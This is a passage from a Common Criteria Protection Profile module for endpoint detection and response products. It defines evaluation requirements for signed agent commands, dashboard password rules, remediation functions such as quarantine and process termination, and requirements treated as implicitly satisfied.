record about authorized management dashboard activity. It does not impact the [AppPP] functionality.
This SFR defines a specific set of functions for logically distinct secure
communication with a Host Agent. It does not impact the [AppPP] functionality.
This PP-Module does not define any selection-based SFRs.
Appendix C - Objective SFRs
This section is reserved for requirements that are not currently prescribed by this PP-Module
but are expected to be included in future versions of the PP-Module. Vendors planning on having evaluations performed against future products are encouraged
to plan for these objective requirements to be met.
The
[selection: EDR, EDR Platform]
shall digitally sign commands and policies sent to the Host Agent using
[selection: RSA, ECDSA] signatures that meet FIPS PUB 186-4.
Application Note: The intent of this requirement is to cryptographically tie any policy updates or
commands sent to the Host Agent as being from the EDR. This is not to
protect the policies in transit as they are already protected by FPT_ITT.1.
If the TSF implements this function, any signature algorithms used should be consistent with any selections made in
FCS_COP.1(3).
The evaluator shall check to ensure that the TSS describes how all commands and policies are signed.
Guidance
The evaluator shall review the operational guidance and ensure that the
EDR any configuration information for policy signing is included.
Tests
The evaluator shall select any one remediation function documented in the
administrative guide (e.g., terminate process), and execute that command
while capturing traffic. The evaluator shall review captured network traffic and
verify that a digital signature was sent along with the coinciding command or policy update. The EDR may need to be configured in a manner to disable transport
encryption for this test or the network capture tool may need to be
configured with the private key such that decrypted traffic can be made
available to the evaluator.
Appendix D - Extended Component Definitions
This appendix contains the definitions for the extended requirements that are used in the PP-Module
including those used in Appendices A through C.
D.1 Background and Scope
This appendix provides a definition for all of the extended components introduced
in this PP-Module.
These components are identified in the following table:
Functional Class
Functional Components
Security Audit (FAU)
FAU_ALT_EXT Server Alerts FAU_COL_EXT Collected Endpoint Data
FMT_SRF_EXT Specification of Remediation Functions FMT_TRM_EXT Trusted Remediation Functions
D.2 Extended Component Definitions
FAU_ALT_EXT Server Alerts
Components in this family define requirements for system activity that causes the TSF to generate an alert of the activity and for the contents of these alerts.
Component Leveling
FAU_ALT_EXT.1,
Server Alerts,
describes alert triggers and the information contained in alerts.
Management: FAU_ALT_EXT.1
The following actions could be considered for the management functions in FMT:
Components in this family define requirements for authentication behavior that is unique to an EDRTOE.
Component Leveling
FIA_AUT_EXT.1,
Dashboard Authentication Mechanisms,
identifies the only authentication factors that may be used for authentication to a management interface of an EDR.
Dependencies to: FIA_AUT_EXT.1 Dashboard Authentication Mechanisms
FIA_PWD_EXT.1.1
The EDR shall support the following for the Password
Authentication Factor:
Passwords shall be able to be composed of any combination of [selection: upper and lower case letters, [assignment: a character set of at least 52
characters]], numbers, and special characters: [selection: "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", [assignment: other characters]],
Password length up to [assignment: an integer greater than or equal to
64] characters shall be supported.
FMT_SRF_EXT Specification of Remediation Functions
Components in this family define requirements for remediation functions that an EDR can perform to affect the behavior of an endpoint system.
Component Leveling
FMT_SRF_EXT.1,
Specification of Remediation Functions,
lists the supported remediation functions and identifies the management roles that may perform these functions.
Dependencies to: FMT_SMR.1 Security Management Roles
FMT_SRF_EXT.1.1
The EDR shall be capable of performing the following
remediation functions:
Management Function
Administrator
SOC Analyst
Read-Only User
Quarantine an endpoint by
[selection: logically quarantining the endpoint from the network unless allowlisted, quarantining the malicious file on the endpoint]
OOptional
MMandatory
-N/A
Terminate a running process on an endpoint
OOptional
MMandatory
-N/A
Retrieve potentially unauthorized or affected files from an endpoint
OOptional
OOptional
-N/A
FMT_TRM_EXT Trusted Remediation Functions
Components in this family define how the TOE can assert the authenticity of the remediation actions it requests from Host Agents.
Component Leveling
FMT_TRM_EXT.1,
Trusted Remediation Functions,
requires all management activities bound for a Host Agent to be digitally signed.
The
[selection: EDR, EDR Platform]
shall digitally sign commands and policies sent to the Host Agent using
[selection: RSA, ECDSA] signatures that meet FIPS PUB 186-4.
Appendix E - Implicitly Satisfied Requirements
This appendix lists requirements that should be considered satisfied by products
successfully evaluated against this Protection Profile.
However, these requirements are not featured explicitly as SFRs and should not be
included in the ST. They are not included as standalone SFRs because it would
increase the time, cost, and complexity of evaluation. This approach is permitted
by [CC] Part 1, 8.2 Dependencies between components.
This information benefits systems engineering activities which call for inclusion of
particular security controls. Evaluation against the Protection Profile
provides evidence that these controls are present and have been evaluated.
Requirement
Rationale for Satisfaction
FIA_UID.1 - Timing of Identification
CC Part 2 specifies FIA_UID.1 as a dependency of FMT_SMR.1 because the TSF must have some way of identifying users so that they can be associated with management roles.
This dependency is implicitly addressed through FIA_AUT_EXT.1, which specifies an alternative method of user identification.
FPT_STM.1 - Reliable Time Stamps
CC Part 2 specifies FPT_STM.1 as a dependency of FAU_GEN.1 because the audit records require a reliable timestamp to satisfy FAU_GEN.1.2.
This dependency is implicitly addressed through the A.PLATFORM assumption of the Base-PP because a "trustworthy computing platform" is assumed to include a reliable system clock.
